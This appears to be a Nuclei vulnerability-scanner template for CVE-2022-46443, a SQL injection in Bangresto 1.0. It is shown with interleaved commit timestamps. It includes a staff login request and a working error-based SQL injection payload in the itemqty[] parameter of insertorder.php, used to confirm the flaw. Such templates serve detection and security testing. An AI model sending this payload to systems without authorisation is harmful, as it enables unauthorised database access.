2023-06-29 17:37:08 +00:00
id : CVE-2022-46443
info :
name : Bangresto - SQL Injection
author : Harsh
severity : high
description : |
Bangresto 1.0 is vulnberable to SQL Injection via the itemqty%5B%5D parameter.
2023-09-06 11:59:08 +00:00
remediation : |
Upgrade to the latest version to mitigate this vulnerability.
2023-06-29 17:37:08 +00:00
reference :
- https://yuyudhn.github.io/CVE-2022-46443/
- https://nvd.nist.gov/vuln/detail/CVE-2022-46443
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
cvss-score : 8.8
cve-id : CVE-2022-46443
cwe-id : CWE-89
2023-11-14 14:37:18 +00:00
epss-score : 0.05563
2023-11-23 06:31:41 +00:00
epss-percentile : 0.92454
2023-09-06 11:59:08 +00:00
cpe : cpe:2.3:a:bangresto_project:bangresto:1.0:*:*:*:*:*:*:*
2023-06-29 17:37:08 +00:00
metadata :
verified : true
2023-09-06 11:59:08 +00:00
max-request : 2
2023-08-31 11:46:18 +00:00
vendor : bangresto_project
product : bangresto
2023-08-09 07:40:41 +00:00
tags : cve,cve2022,bangresto,sqli
variables :
num : "999999999"
2023-06-29 17:37:08 +00:00
http :
- raw :
- |
POST /bangresto-main/staff/process.php HTTP/1.1
Host : {{Hostname}}
Content-Type : application/x-www-form-urlencoded; charset=UTF-8
username={{username}}&password={{password}}
- |
POST /bangresto-main/staff/insertorder.php HTTP/1.1
Host : {{Hostname}}
Content-Type : application/x-www-form-urlencoded;
2023-08-09 07:40:41 +00:00
itemID[]=1&itemqty[]=2 AND (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT(0x716a7a6b71,md5({{num}}),0x7178717a71,0x78))s), 8446744073709551610, 8446744073709551610)))&sentorder=Sent to kitchen
2023-06-29 17:37:08 +00:00
cookie-reuse : true
2023-08-31 11:46:18 +00:00
2023-08-09 07:40:41 +00:00
matchers-condition : and
2023-06-29 17:37:08 +00:00
matchers :
2023-08-09 07:40:41 +00:00
- type : word
words :
- '{{md5({{num}})}}'
2023-11-23 06:41:10 +00:00
# digest: 490a0046304402205aabccb8ef7ee3232bb241d2935151c6d97cbf3fd41e12f2ba8e2280c0615aa2022054bcb305976529d01dc887898531d494c92f7d7f95141915a2b1b53a44ccd9b8:922c64590222798bb761d5b6d8e72950